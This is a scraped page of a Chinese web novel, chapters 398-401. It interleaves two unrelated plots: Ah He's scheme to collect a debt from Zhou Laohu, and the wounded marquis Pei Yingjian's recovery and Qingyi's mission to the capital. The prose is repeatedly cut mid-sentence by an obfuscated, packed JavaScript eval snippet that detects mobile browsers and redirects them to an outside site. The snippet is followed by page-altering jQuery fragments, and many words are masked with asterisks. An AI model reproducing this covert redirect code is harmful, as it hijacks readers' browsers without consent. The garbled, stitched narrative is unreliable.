阿禾放下茶杯,指了指自己,又指了指身后站得笔直的**子。 “我,就是那个讼师。他,”她顿了顿,“算是我雇的衙役。” “衙役的刀,是用来震慑宵小,保障讼师能安安稳稳讲道理的。而不是用来胡乱**的。”她微微一笑,那笑容清澈坦荡,“所以,您不必担心。我们是来讲道理的,做的也是帮人解决麻烦、讨还公道的正经生意。” 这番比喻,新奇又贴切。 把打手说成“衙役”,把敲诈勒索的勾当洗白成了“讲道理的生意”。 钱掌柜眼里的惊疑又多了几分审视,他沉吟半晌,终于松了口风: “说得倒好听。既然你说你是‘讼师’,那我倒要考考你。” 他往椅背上一靠,愁容又爬回了脸上: “我确实有笔烂账,三千两白银,欠了快一年了。那人是块滚刀肉,油盐不进。我找过镇上最好的李讼师,他也没办法。你一个小丫头,能有什么法子?” 他这是在出难题,也是在试探。 所有人都以为阿禾会陷入沉思,或者说些场面话。 谁知阿禾连眼皮都没眨一下,直接道:“法子有三。” “其一,上策。查清他的底细,看他有什么买卖,有什么怕的人,有什么比这三千两银子更看重的东西。抓住他的软肋,让他自己觉得,还钱比赖账更划算。这是攻心,不费一兵一卒。” “其二,中策。他既然是滚刀肉,但也应该重脸面。那就让他没脸。把欠债不还的事编成朗朗上口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他声音压得极低,仿佛那名字带着什么禁忌。 “欠我钱的,不是别人。” “是县令大人的小舅子——周老虎。” 话音落下,**子脸上的那点自得和煞气,瞬间消失得无影无踪。 周老虎! 那不是地痞,不是恶霸,那是官府的人! 是背靠着县令,在栖霞镇横行无忌,**都没人敢管的真正阎王! …… 油灯的光晕在简陋的农舍里摇曳,将每个人的影子都拉扯得怪诞变形。 青义脸上的血色褪得一干二净,他怔怔地看着裴应见,嘴唇哆嗦着,像是头回认识眼前这个他追随了十年的主子。 “侯爷……您、您说什么……” 怎么会……怎么可能是侯爷…… 那个毒妇秦月娘的狠毒明明历历在目,那份滔天的恨意,怎么会找错了对象? 裴应见没有看他,他所有的心神,都落在了床上那个痛苦蜷缩的身影上。 青川的身体因剧痛而痉挛,喉咙里发出“嗬嗬”的、漏风般的悲鸣,那双眼睛里,盛满了无声的绝望。 每一声悲鸣,都像是一记重锤,狠狠砸在裴应见的心口。 “先救人。”云承月温润的声音打破了这令人窒息的死寂。 他眼中没有震惊,只有医者面对危急病患时的专注与冷静。 他迅速打开药箱,银针在他指尖翻飞闪过寒芒。 “青义,按住他,别让他乱动伤了心脉!去烧一锅烈酒,剪子,干净的布,快!” 青义被这一声呵斥惊醒,他通红着眼眶看了一眼面无表情的裴应见,又看了一眼床上命悬一线的兄弟,咬碎了牙,转身冲入雨中。 抢救在紧张地进行。 血水一盆盆地往外端,浓重的血腥气混杂着草药味,弥漫了整间屋子。 云承月满头是汗,银针在他指尖翻飞,稳稳刺入青川周身大穴。 总算,那骇人的抽搐渐渐平息,青川的呼吸虽然微弱,却绵长了起来。 一条命,总算是从鬼门关前抢了回来。 …… 夜深了。 屋外暴雨渐歇,只剩下檐下滴滴答答的水声,敲打着人的心弦。 云承月擦了擦手,端着一碗参汤走到裴应见身边。 他自始至终都坐在床边的木墩上,像一尊没有灵魂的石像,一动不动地盯着青川。 “他脱离危险了,但伤了根本,得静养。”云承月将碗递过去,“你也是,身上有伤,又淋了雨,再这么耗下去,神仙也救不了你。” 裴应见毫无反应,仿佛没听见他的话。 云承月叹了口气,将碗放在一旁。 他看着这个男人,明明有着一张俊美无俦的脸,此刻却被死气笼罩,比外面的夜色还要沉。 他知道此刻说什么都没用,只能转身去里屋小憩片刻,心神却始终悬着。 不知过了多久,睡得正沉的云承月猛地心头一悸,像被什么东西狠狠揪了一下! 他豁然睁眼,想也不想就冲了出去! 外屋,裴应见不知从哪儿摸来一把锈迹斑斑的柴刀,正对着自己的嘴……那双空洞的眼睛里,竟有一种解脱般的疯狂! “不要!”云承月吓得魂飞魄散,尖叫着扑过去,“青义!快来人!” 他拼尽全力去抢那把刀,可裴应见力气大得惊人,只一甩臂,就将他狠狠撞在墙上,五脏六腑都错了位似的疼。 青义听到声音也冲进来施救。 可裴应见此时武功远胜从前,青义也只是跟他过了几招,就被他一掌推倒在地。 而那柄破柴刀,还稳稳的拿在裴应见手里。 眼看那闪着寒光的刀锋就要割下去—— “嗬……嗬!” 床上,本该昏睡的青川竟猛地睁开了眼。 他挣扎着坐起,因为动作太猛,牵动了伤口,鲜血瞬间染红了胸前的绷带。 他不管不顾,抓起床边药碗一把打碎,用一块锋利的瓷片抵住了自己的脖颈! 青川瞪着裴应见,双目赤红,里面没有恨,只有无尽的哀求和决绝。 ——侯爷,你若伤己,属下便自尽于此! 裴应见看着青川,忽然瞪大眼睛,他的动作也终于停住了。 那把柴刀,离他的唇只有分毫之差。 “哐当——” 柴刀掉在地上,发出刺耳的声响。 裴应见看着青川,这个为了他连命都不要的下属,许久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴应见的眼睫,只是几不可察地颤动了一下。 并没有睁开眼。 “回到那个时代……” “找到另外那位秦姑娘……” 云承月和青义压得极低的交谈声,像两根细细的钢针,穿透了他混沌的识海,钉在了最深处。 原来,是这样吗…… 原来,记忆里那个对他百般折辱的毒妇,或许和他所念所想……根本就不是同一个人? 又或者,他们有什么不可言说的关联? 这个念头荒诞得可笑,却像一道撕裂黑暗的闪电,瞬间照亮了他那片死寂绝望的废墟。 他没有动,依旧扮演着那个沉陷在噩梦里,了无生气的活**。 再次“醒来”时,裴应见表现出了惊人的顺从。 云承月端来那碗黑漆漆、气味冲鼻的汤药时,他没有再像之前那样毫无反应,而是伸出那只布满伤痕的手,接了过来,仰头一饮而尽。 眉头都没皱一下,仿佛喝的只是一碗凉水。 云承月准备好的一肚子劝说之词,全都堵在了喉咙里。 他看着裴应见那双依旧空洞,却似乎又多了些什么的眼睛,心底掠过一丝诧异。 接下来的施针,更是如此。 银针刺入皮肉,扎进穴位,那种酸、麻、胀、痛的滋味足以让壮汉都闷哼出声。 可裴应见躺在那里,一动不动,任由云承月在他身上施为。 他清醒地感受着每一寸痛苦。 那些痛苦,尖锐而真实,反而成了他对抗脑中混乱的唯一凭据。 每当秦月娘那张厌恶的脸和包袱里温暖的冬衣在脑海里交替出现,快要把他撕裂时,他便死死攥住拳头,将所有心神都集中在针刺的痛感上。 痛,证明他还活着。 痛,才能让他不去发疯。 云承月本以为他这心魔缠身的状态,治疗过程会无比艰难,甚至准备了几套备用的温和方案,却不想他竟如此能忍。 那不是寻常的坚毅,而是一种近乎自虐的偏执。 仿佛在用肉体的折磨,来献祭或者交换着什么。 日子就在这沉默而压抑的治疗中一天天过去。 窗外的暴雨早已停歇,农家小院里的落叶被秋风卷走,天气一日比一日凉。 直到某天清晨,青义推开门,一股寒气扑面而来,院里的水缸上结了薄薄一层冰花。 入冬了。 屋里,裴应见已经能靠着床头坐起身。 他瘦得厉害,脸颊凹陷,但那股萦绕不散的死气,终究是淡去了几分。 他正看着自己的手,那双手上,旧的鞭伤已经结痂脱落,留下深浅不一的疤痕。 “青理……怎么样了?” 一个陌生的名字,从他干涩的喉咙里吐出来,连他自己都觉得有些恍惚。 青义正在收拾药碗的手猛地一顿,他豁然抬头,不敢置信地看着裴应见,眼眶瞬间就红了。 青理,是侯爷未失忆前,负责贴身起居伺候的。 侯爷……他想起来了! “侯爷!”青义的声音都在发颤,混杂着巨大的狂喜和压抑的悲恸,“您、您想起青理了?” 裴应见没有回答,只是静静地看着他,等着答案。 青义深吸一口气,强忍着泪,哑声道: “您去郡主府后,弟兄们就觉得不对劲,青义当晚就带着我们,开始收拾府里的要紧东西,准备撤……可没想到,他们来得那么快。” “当天夜里,府里就冲进来一帮黑衣人,见人就杀。” “青理……为了掩护我们突围,被、被乱刀**了……” 青义的拳头攥得死紧,指甲深深掐进肉里。 “其他弟兄,逃出来十几个,都按青义的安排,化整为零,散在附近的村镇里落脚,等着您……等着您下令。” 屋子里陷入了长久的死寂。 只有窗外,北风呼啸的声音。 许久,裴应见才缓缓开口,声音里听不出情绪。 “他泡的茶,总是太甜。” 青义猛地一怔。 他想起,侯爷喜喝苦茶,而青理总觉得那茶水苦得伤胃,每次都会背着人,偷偷往茶壶里多放一小块冰糖。 这么细微的旧事,侯爷都想起来了。 青义再也忍不住,他别过头,用袖子狠狠抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163423|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一把脸,泪水却还是不争气地往下掉。 不知是该为死去的兄弟悲伤,还是该为侯爷的好转而欣喜。 这几个月来,这是唯一一件,能让人看到光亮的事了。 那句话说完,裴应见就再没开口。 青义红着眼眶,退到一旁,将空间留给了沉默的侯爷和死去的兄弟。 屋子里的死寂,比窗外的北风还要刮骨。 裴应见只是静静地坐着,目光落在自己那双布满疤痕的手上,仿佛想从那交错的纹路里,找出更多属于过去的凭据。 他想起了青理,想起了那一点点不合时宜的甜。 然后呢? 然后是什么? 他逼着自己去想,去撕开那片混沌的浓雾。 更多的面孔,更多的声音,像潮水般涌来,却又在即将清晰的瞬间,化作无数尖锐的碎片,狠狠扎进他的脑海! “呃——!” 一声压抑的闷哼。 裴应见猛地双手抱头,身体剧烈地颤抖起来,额上青筋暴起,那张刚刚恢复了些血色的脸,瞬间惨白如纸。 他想抓住些什么,却只抓到一片虚无。 那些记忆,是救赎他的光,也是将他拖入更深地狱的网。 “侯爷!”青义大惊失色,一步冲上前。 可还没碰到人,裴应见就双眼一翻,身体软软地朝一旁倒了下去。 “云先生!” 云承月几乎是同时从里屋冲了出来,他一把扶住昏迷的裴应见,手指迅速搭上他的脉搏,眉头瞬间拧成了一个川字。 脉象紊乱如沸,是心神激荡、气血攻心的征兆。 “把他扶到床上去,快!”云承月低喝道。 一番手忙脚乱的施针之后,裴应见那骇人的痉挛总算平复下来,可人却依旧昏迷不醒,呼吸微弱得仿佛随时都会断绝。 云承月收起银针,擦了擦额角的汗,脸色沉得能滴出水来。 “云先生,侯爷他……”青义的声音都在抖。 “之前是心病,现在心病引出了体内的旧伤,他底子亏空得太厉害,旧疾新伤一起发作,已经不是寻常汤药能吊住的了。” 第398章 姜飞飞 云承月走到桌边,提起笔,迅速在纸上写下几个字,墨迹力透纸背。 “要救他,需得一味奇药——‘龙血藤’。” “这药只在极寒之地生长,药性霸道,能活**肉白骨,但也凶险无比。京城里,或许只有几家百年老药堂或是宫里才有存货。” 京城。 这两个字像一块巨石,重重砸在青义心上。 那里是龙潭虎穴,是他们逃出来的地方,如今再回去,无异于自投罗网。 云承月看着青义惨白的脸,叹了口气: “我去吧。我到底面孔生,不容易引起注意。” 神医云承月神龙见首不见尾,真正见过他的没有几个人。 更何况他现在已经可以站立行走了,眼睛也看得见了,与从前也大有不同。 “不!”青义猛地抬头,双眼赤红,“先生您要照顾侯爷,离不开!我去!” 他“扑通”一声跪在地上,声音嘶哑却字字铿锵:“青理已经为侯爷**,我这条命也是侯爷的!就算是刀山火海,我也要去闯一闯!” 云承月看着他,许久,终是点了点头。 “京城西市的‘百草堂’,掌柜的曾欠我一个人情,你拿着我的信物去找他。切记,拿到药就走,万万不可多做停留!” …… 夜色如墨。 一道黑影在京城复杂的巷道里飞速穿行,避开一队又一队巡夜的甲士。 青义的心提到了嗓子眼,他不敢走大路,只能凭借着记忆,在这些蛛网般的小巷里辗转。 百草堂的灯火就在前面了。 可就在他即将拐出巷口的那一刻,一种被毒蛇盯上的阴冷感,猛地从背后窜起! 不好! 他想也不想,脚尖点地,身形朝前暴射而出! “咻!咻!咻!” 三支淬着幽蓝寒光的袖箭,几乎是擦着他的后颈飞过,死死钉在他面前的墙壁上。 巷口,巷尾,不知何时已悄无声息地出现了七八个黑衣人,将他所有的退路都堵得严严实实。 这些人,没有半句废话,抽刀便上! 刀光森然,杀气凛冽,招招都是致命的**。 青义咬紧牙关,挥刀格挡,心却一点点沉了下去。 这些人,是死士! 他才刚进京城,怎么会这么快就暴露了?! 双拳难敌四手,不过十几个回合,青义身上就添了数道血口,握刀的虎口被震得发麻,动作也渐渐迟滞下来。 一个黑衣人抓住破绽,一刀朝他心口捅来! 青义瞳孔骤缩,已是避无可避。 就在这千钧一发之际,一缕极淡的、若有似无的香风,忽然飘了过来。 紧接着,一道纤细的身影,如同鬼魅般,从高高的墙头上飘然落下,正好落在青义和那黑衣人之间。 那是个女人。 一身水绿色的罗裙,身段窈窕,媚骨天成。 她甚至连兵器都没用,只是一抬手,用两根纤纤玉指,轻描淡写地夹住了那捅向她后心的刀尖。 “叮”的一声脆响。 那柄百炼精钢的长刀,竟从刀尖处开始,寸寸碎裂! 在场的所有人,包括青义,全都看呆了。 不等那黑衣人反应,女子的手腕轻巧一翻,一片碎裂的刀片便如流星般倒射而回,瞬间划破了那黑衣人的喉咙。 快得让人看不清动作。 剩下的黑衣人见状,惊骇之下,竟一齐朝她攻了过去! 女子身影不动,只是裙袖轻舞,刹那间,无数银针如暴雨般四散飞出,带着尖锐的破空之声。 黑衣人纷纷倒地,每个人眉心都插着一根细如牛毛的银针,脸上还凝固着不敢置信的惊恐。 整个过程,不过弹指之间。 青义怔怔地看着那个背对着他的身影,直到她缓缓转过身来,露出一张既熟悉又陌生的脸。 “姜……姜飞飞?!”青义失声叫道,满脸的不可思议,“怎么是你?!” 是她! 那个当初在侯府里,装得柔弱不能自理,骗取了他的信任,最后却利用他逃脱的女人! 他不会忘记她,因为可怜她,对她懂了恻隐之心,青义还挨了三十鞭的惩罚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163424|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜飞飞看着他,那双勾人的桃花眼里,没有半分方才的柔媚,只有一片深不见底的冷漠。 “跟我走。”她声音清冷,不带一丝感情。 “我凭什么信你!”青死死攥着刀,满眼戒备。 姜飞飞却懒得与他多言,只是淡淡瞥了一眼他胸口的伤:“不想死,就跟上。救你,是我家主人的意思。” 说罢,她便转身走入更深的黑暗中。 青义在原地挣扎了片刻,最终还是咬了咬牙,跟了上去。 …… 一处隐秘的宅院里,姜飞飞将一个药瓶扔给青义。 “金疮药。你等的‘龙血藤’,明早会有人送来。” 她坐在一旁,自顾自地擦拭着指尖的血迹,动作优雅,却透着一股说不出的诡异。 青义看着她,心里的疑云越来越重:“你……你怎会……” “我逃走后,被人绑走了,教了些**的本事,又逃了出来。”姜飞飞的回答轻描淡写,仿佛在说一件与自己无关的事,“现在,在为别人做事。” “你的主人是谁?” 姜飞飞抬起眼,看了他一眼,嘴角忽然勾起一抹似笑非笑的弧度,那张清冷的脸,瞬间又生出了几分媚态。 她忽然凑近青义,温热的气息拂过他的耳畔。 “知道了,对你没好处。” 青义浑身一僵,下意识地想后退,却被她一把按住肩膀。 她的手指纤细,力道却大得惊人,指尖仿佛带着热,烫得他肩头一麻。 他能感觉到她掌心的温度透过薄薄的衣料渗透进来,那股热意带着一种不容置疑的强势。 暧昧又危险的气氛在两人之间流转,空气仿佛凝固了一般,变得粘稠而炙热。 她的脸凑得极近,近到他能清晰地看到她眼睫上细微的绒毛,以及那双深邃眼眸中闪烁的、难以捉摸的光芒。 那光芒里似乎带着玩味,又似乎藏着某种掠夺性的意味。 “想去哪儿?” 她的呼吸温**喷洒在他的耳边,带着淡淡的,他从未闻过的香气,像某种夜间盛开的花,诱惑而致命。 第399章 她似乎很关心他 青义喉结上下滚动了一下,心跳声在耳膜里轰鸣,快得像是要冲破胸膛。 他甚至能感觉到自己脸颊上传来的热度。 他想开口说些什么,但舌头像是打了结,一个字也吐不出来。 她的眼神实在太……太魅了,又带着一种直接而赤裸的审视,让他感到无所遁形。 他甚至不敢与她对视太久,只能将目光落在她精致的下巴,或是她嘴角那抹若有似无的笑意上。 “嗯?”她轻声追问,指尖在他肩头轻轻摩挲了一下,那动作极轻,却让青义的神经紧绷到了极致。 那不是安抚,更像是一种无声的挑逗。 她似乎很享受他此刻的窘迫和僵硬,那双眼眸中的玩味更深了几分。 终于,不知道过了多久,她终于放过了他,起身走了。 青义这才觉得屋子里的空气让他呼吸顺畅了许多。 第二天清晨,青义醒来时,屋子里早已没了姜飞飞的身影,只有枕边静静地放着一个木盒。 他打开一看,一截色泽暗红、形如枯枝的藤蔓,正躺在其中,散发着奇异的药香。 正是龙血藤! 青义将信将疑,但救侯爷要紧,他不敢耽搁,立刻带着药材飞速赶回。 而他却不知道,他的行踪也一字不落地被报到了萧玦的书房。 “哦?”萧玦把玩着手里的玉扳指,听着手下的汇报,脸上露出一丝玩味的笑意,“被一个女人救走了?查到那女人的来路了吗?” “属下无能,那女人武功路数十分诡异,京城里从未见过……我们的人跟丢了。” “有意思。”萧玦非但没有生气,眼里的兴致反而更浓了,“京城里,居然还有一股我们不知道的势力。” 他缓缓滑到窗边,看着外面灰蒙蒙的天。 “不用管了。” “传令下去,让他们继续盯着裴应见,按兵不动。” “裴应见要好起来……再好一点……这游戏,才有趣。” …… 京城,更深露重。 一处僻静到几乎被人遗忘的废弃戏园里,蛛网遍结的后台,唯有一盏孤灯如豆。 姜飞飞跪在地上,头颅低垂,姿态是驯服到了骨子里的恭顺。 在她身前,站着一道背影。 那人着了一身烈火般的红衣,在这颓败阴冷的环境里,像一团凭空燃起的鬼火,妖异,又带着焚尽一切的决绝。 她没有回头,声音比这冬夜的寒风还要冷上三分。 “事,办妥了?” “回主人,‘龙血藤’已交到他手上。”姜飞飞答道,声音柔腻,听不出一丝波澜。“他伤得不轻,属下按您的吩咐,解决了那些尾巴。” “嗯。”红衣女子只是淡淡应了一声,便再无他话,抬步便要离去。 看着那抹即将消失在黑暗里的红色,姜飞飞的眼底,有什么东西在疯狂翻涌。 她忘不了。 和裴应见分开后,她本想一路向南,彻底逃离这片是非之地。 可就在一处破庙歇脚时,这个女人忽然如同鬼魅,悄无声息地出现在她面前。 她想逃,想用尽自己在那座宅子里学到的一切本事去反抗。 可这个女人却偏偏也出自那座大宅,她和将她改造成这副模样的旧主人一样了解她,甚至更懂她。 她知道她哪个穴位最痛,知道她最怕什么样的折磨,知道怎样一寸寸碾碎她的傲骨,让她在生不如死的边缘徘徊。 就在姜飞飞以为自己必死无疑时,那女人却往她嘴里塞了一颗药丸。 “七日断肠。解药,只有我有。” “为我做事,你就能活。” 那一刻,姜飞飞所有的不甘和怨毒,都化作了最柔顺的叩拜。 她心底清楚,这是一个比旧主更可怕的疯子,一个纯粹以折磨人为乐的恶鬼。 毕竟,她也是她的旧主一手打磨出的刀。 在没有收下姜飞飞之前,她就是旧主手里最好用的工具…… 可渐渐地,她发现了不对劲。 这个女人,对裴应见……似乎有一种极其古怪的情感。 她隐藏着许多秘密,绝不像对外表现的那样,仅仅以折磨裴应见为乐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163425|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她似乎,很关心他。 她命自己去救裴应见的忠仆,却又在听完汇报后,周身散发出能将人冻僵的寒气。 她明明有无数机会可以取裴应见的性命,却只是远远地看着。 她在等着云承月治好他? 这到底是恨,是恶毒,还是……别的什么? 姜飞飞愈发看不懂,也愈发好奇。 就在她心神恍惚的瞬间,一股尖锐的剧痛猛地从腹中炸开,像有无数根钢针在同时搅动她的五脏六腑! “噗——” 她一口鲜血喷在地上,整个人痛苦地蜷缩起来,冷汗瞬间湿透了后背的衣衫。 “与我说话时,还敢分心?”那红衣女子不知何时又转了回来,居高临下地看着她,眼神里是化不开的厌恶,“看来,是我给你的教训还不够。” “主人……饶命……飞飞知错了……”姜飞飞疼得浑身发抖,却还是强撑着,抬起一张梨花带雨的脸,眼波流转,声音里带上了刻意承欢的媚态,“是飞飞……想主人想得出神了……” 那红衣女子眼中的厌恶更浓,像是看到什么脏东西。 她抬起脚,用那双精致的绣鞋,毫不留情地碾在姜飞飞的手背上,直到听见骨头发出不堪重负的“咔嚓”声。 “收起你这副样子。” “再有下次,我便割了你的舌头,把你这张脸也一并划花。” 说罢,她再不停留,身影一闪,便彻底融入了无边的夜色。 剧痛和羞辱感同时袭来。 姜飞飞趴在冰冷的地上,许久,才缓缓抬起头。 那张原本媚态横生的脸上,此刻一片沉郁,眼底是淬了毒的阴狠。 她看了一眼自己那只已经变形的手,又想了想,循着记忆中青义离去的方向,鬼魅般悄然跟了上去。 …… 农家小屋里,油灯的光晕将几个人的影子投在墙上。 青义终于赶了回来。 他进门的那一刻,几乎是脱力般摔倒在地,怀里还死死抱着那个木盒。 “云先生……药……拿回来了……” 第400章 这买卖还是算了吧 云承月一个箭步上前扶住他,看到他身上深浅不一的刀伤,眉头紧锁。 “怎么回事?” 裴应见不知何时已经坐了起来,他的声音依旧沙哑,却比之前多了几分人气,目光落在青义胸口那道最长的伤口上。 “你身上的旧伤,又裂了。” 青义被侯爷扶着,听到这句关心,鼻子猛地一酸,眼眶瞬间就红了。 侯爷……侯爷真的不一样了! 他会关心自己了! “侯爷,属下没事!”他激动得声音都有些抖,“只要能拿到药,救您的命,属下这条命……不算什么!” 云承主接过药盒打开,一股奇异的药香瞬间弥漫开来,他脸上露出一丝喜色: “是龙血藤,没错!” 他一边迅速准备用药,一边头也不抬地问:“京城守卫森严,你是怎么拿到药,又怎么脱身的?” 青义的眼神闪烁了一下。 他不能说。 那个叫姜飞飞的女人太过诡异,她的主人更是神秘莫测,在没弄清楚对方是敌是友之前,绝不能让侯爷再多一分危险。 “属下……属下拿着先生的信物去了百草堂,掌柜的认了出来,把药给了我。可没想到,刚出药铺就中了埋伏。”他低着头,刻意避开裴应见的视线,“那些人像是早就等着了,招招致命。属下拼死才杀出一条路,逃了回来。” 他说得惊险,也合情合理。 云承月没有怀疑,只当是他们行踪暴露,叹道: “辛苦你了,快让我看看伤口。” 裴应见没有说话。 他只是静静地看着青义,看着他闪躲的眼神,看着他紧握的拳头,看着他身上那些新旧交错的伤痕。 许久,他才收回目光,淡淡地垂下眼睫,仿佛真的信了。 只是那双深不见底的眸子里,有什么东西,一闪而过。 …… 雅间里的空气仿佛凝固了。 钱掌柜那句“县令大人的小舅子”,像块千斤巨石,轰然砸在**子心头。 他脸上的血色“刷”地褪得干干净净,额角渗出细密的冷汗,刚才那点混不吝的煞气,此刻荡然无存。 周老虎! 那是在栖霞镇能让小儿止啼的名字! **如挂画,讹钱是寻常,偏偏背后站着县令,谁敢动?谁能动? **子喉结滚动,看向阿禾的眼神里,第一次带上了哀求和退缩。 “阿禾……姑娘……”他声音都发了虚,“这、这买卖,我看还是算了吧?那周老虎是条疯狗,咱们……咱们惹不起啊!” 他手底下那几个刚被阿禾提振了信心的打手,此刻也是噤若寒蝉,恨不得把自己缩成一团。 钱掌柜长叹一声,满脸的肥肉都耷拉下来,显然也觉得这事黄了。 “姑娘,你别怪**子。周老虎那人,不是讲道理的主儿。” 谁知阿禾连眉梢都没动一下。 她认认真真地想了一会儿,然后微微一笑,端起茶杯,轻轻吹开浮沫,目光在杯中清亮的茶汤里打了个转,才抬眼看向脸色煞白的**子。 “黑哥。” 她声音不大,却真诚的要命:“你觉得,在栖霞镇这地界上,除了周老虎这种人,还有谁的账,能欠到三千两都无人敢要?” **子一愣。 “油水最肥的鱼,向来都藏在最深的水里。水深,鱼恶,旁边还总守着几条更凶的恶蛟。”阿禾放下茶杯,发出清脆的轻响,“可同样的,只要钓上来一条,就够吃一年。” 她的话,像把小钩子,勾住了**子那颗急速下坠的心。 是啊,他**子想出人头地,难道就靠收那几条街的保护费? 那能收到什么时候去? 可……那毕竟是周老虎。 就在他天人交战之际,阿禾却不再看他,转而望向钱掌柜,脸上换上了十分温和的笑意,真诚得像个邻家讨教的晚辈。 “钱掌柜,咱们先不提周老虎。我想跟您打听个人。” 钱掌柜有些发懵:“谁?” “咱们栖霞镇的父母官,县令大人。”阿禾的语气很认真,“我想知道,这位县令大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“就说,邻县出了位女神医,专治各种疑难杂症。传闻那神医有起死回生之能,曾治好过一个瘫了十年的老翁,还让个天生的瞎子重见了光明。”阿禾的嘴角勾起一抹极真诚的笑容,仿佛真的是要为县令的老娘治病一样,“记住,要说得有鼻子有眼,越玄乎越好。” **子彻底蒙了。 他以为接下来的任务,会是跟踪、盯梢,甚至是备好家伙准备干一架。 结果……是去当个说书的? 第401章 时机就快到了 这能要回三千两? 他满心疑窦,但看着阿禾那双笃定又真诚不已的眼睛,不知怎的,那些质疑的话就堵在了喉咙里。 他咬了咬牙,郑重地点了点头。 “好!我这就去办!” …… 栖霞镇的街头,周老虎正揣着手,像只螃蟹似的横着走。 钱掌柜找了**子来讨债的事,已经传到了他耳朵里。 他只觉得可笑。 **子?一个在烂泥里打滚的地痞,也敢来捋他周老虎的虎须? 简直是茅房里点灯——找死! 他正盘算着该怎么给这个不知天高地厚的**子点颜色看看,眼角余光就瞥见街角一个熟悉的身影。 是**子手下的一个打手,外号“瘦猴”,此刻正跟两个闲汉唾沫横飞地吹嘘着什么“邻县神医”。 周老虎眼珠一转,狞笑一声,大摇大摆地走了过去,故意重重撞在瘦猴身上。 “哎哟!”瘦猴被撞得一个趔趄。 他回头一看是周老虎,吓得脸都白了,连忙躬身道: “周……周爷,小的没长眼,冲撞了您!” “没长眼?”周老虎一把揪住他的衣领,眼神阴狠,“我看你这双招子,留着也是个祸害!” 话音未落,他抬起穿着牛皮靴的脚,卯足了劲,狠狠一脚踹在瘦猴的膝盖上! “咔嚓!” 一声令人牙酸的骨裂声响起。 瘦猴发出一声凄厉的惨叫,抱着那条以诡异角度弯折的腿,当场就昏**过去。 街上的行人吓得纷纷躲避,噤若寒蝉。 周老虎却像没事人一样,嫌恶地用脚尖踢了踢昏死过去的瘦猴,朝着他身边那个吓傻了的闲汉啐了一口。 “回去告诉**子。” 他声音不大,却透着刺骨的寒意。 “他的人,我先收条腿当利息。让他自己滚过来把人抬走!” 消息像一阵风,刮进了**子在镇西的落脚点。 破败的院子,空气里混着廉价的酒气和汗味。 “大哥!瘦猴……瘦猴的腿被周老虎废了!” 一个打手连滚带爬地冲进来,声音里带着哭腔和恐惧。 院子里正在喝酒划拳的几个汉子瞬间静了下来。 “你说什么?!” **子猛地站起身,一脚踹翻了身前的方桌,酒水菜肴洒了一地。 “周老虎那个杂种!”他一把抄起墙角的**,“他敢动我兄弟!老子今天就去剁了他!” “大哥,别冲动啊!那是周老虎!” “剁了他!跟他拼了!” 手下的人有的劝,有的跟着叫嚣,整个院子乱成一锅粥。 就在**子提着刀要冲出门的瞬间,一个温和平稳的声音从门口传来。 “先别去吧。” 众人闻声回头,只见阿禾不知何时已经站在了院门口。 她依旧是一身朴素的布衣,神色认真地看着眼前这群暴怒的男人。 “时机就快到了。” **子满腔的杀意被这一句话浇得一滞,他喘着粗气,恶狠狠地瞪着她: “时机?我兄弟的腿都断了!你跟我说时机?!我现在就要去把他脑袋拧下来!” “然后呢?”阿禾走了进来,脚步很轻,却像踩在每个人的心上,“你去砍了周老虎,县令大人会放过你吗?你这帮兄弟,还能在栖霞镇待下去吗?” 她神情十分真诚,仿佛真的是在为他们认真考虑,而不是为生意。 眉眼间还有浓浓的担忧。 **子被问得哑口无言,握着刀的手青筋暴起,却再也迈不出一步。 阿禾走到他面前,无视那把晃眼的**,伸出手。 “钱。” **子一愣:“什么钱?” 